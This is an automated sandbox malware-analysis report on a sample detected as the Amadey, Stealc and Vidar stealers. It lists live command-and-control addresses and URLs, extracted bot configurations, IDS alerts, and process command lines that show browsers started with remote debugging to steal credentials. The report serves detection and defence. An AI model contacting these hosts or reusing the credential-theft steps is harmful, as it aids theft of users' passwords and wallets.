Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1563204
MD5:	e6360ebf4fbd15fd1bdf0088eb78ca22
SHA1:	b174a406b9305eed8f81e382960085a45a283fd5
SHA256:	4010093c111ec0be1515414d06b8c33bbe67c1d7a95b10da70efe79860e17116
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5720 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E6360EBF4FBD15FD1BDF0088EB78CA22)

chrome.exe (PID: 7492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7708 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2064,i,12329911643549209979,17985636195308993724,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7260 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6120 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2188,i,1505856362135034536,9576378359776568965,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8704 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBGIDHCAAK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsFBGIDHCAAK.exe (PID: 8784 cmdline: "C:\Users\user\DocumentsFBGIDHCAAK.exe" MD5: F1D8B74CC714267516F750BEB7E3439E)

skotes.exe (PID: 7312 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: F1D8B74CC714267516F750BEB7E3439E)

msedge.exe (PID: 4976 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8108 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8332 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6632 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8344 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6944 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8496 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5460 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8536 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5460 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 6040 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6836 --field-trial-handle=2016,i,1259111765221463407,17426732241330223399,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 9212 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F1D8B74CC714267516F750BEB7E3439E)

skotes.exe (PID: 8264 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F1D8B74CC714267516F750BEB7E3439E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001C.00000002.3411778938.0000000001001000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2165070081.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.2796315271.00000000002E1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.2760898826.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.2707754831.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000003.2776498856.00000000050E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.3290398513.00000000048E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2712124553.00000000009F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2711220384.0000000000538000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2802270362.0000000001001000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.2817458882.0000000001001000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5720	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5720	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5720	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5720	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
28.2.skotes.exe.1000000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.1000000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.1000000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.DocumentsFBGIDHCAAK.exe.2e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5720, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7492, ProcessName: chrome.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:33:17.174132+0100	2028371	3	Unknown Traffic	192.168.2.6	50118	172.67.187.240	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:33:18.252301+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50118	172.67.187.240	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:33:18.252301+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50118	172.67.187.240	443	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:31:14.672889+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49720	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:31:14.551078+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:31:15.005265+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:31:17.139164+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:31:15.132320+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49720	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:31:13.952180+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:33:06.028198+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50091	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:31:03.611135+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50098	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:33:10.680552+0100	2803305	3	Unknown Traffic	192.168.2.6	50103	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T16:31:18.051400+0100	2803304	3	Unknown Traffic	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-26T16:31:42.563294+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:44.646120+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:46.305038+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:47.454412+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:51.219598+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:52.513970+0100	2803304	3	Unknown Traffic	192.168.2.6	49809	185.215.113.206	80	TCP
2024-11-26T16:31:58.576837+0100	2803304	3	Unknown Traffic	192.168.2.6	49937	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/nss3.dlltf	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php%R7	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpfY	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllUO	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllKk	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllHe	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000017.00000002.2796315271.00000000002E1000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.5720.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1009318001\3de946c107.exe	ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CAEA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE44C0 PK11_PubEncrypt,	0_2_6CAE44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CAB4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4440 PK11_PrivDecrypt,	0_2_6CAE4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB325B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CB325B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CACE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CAC8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CAEA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CB0A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB10180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CB10180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE43B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CAE43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB07C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CB07C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CB0BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CAC7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB09EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CB09EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE3FF0 PK11_PrivDecryptPKCS1,	0_2_6CAE3FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CAE9840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CAE3850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6CB0DA40

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.190.147.7:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.7:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.36.55:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.240:443 -> 192.168.2.6:50118 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2760728126.000000006F6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
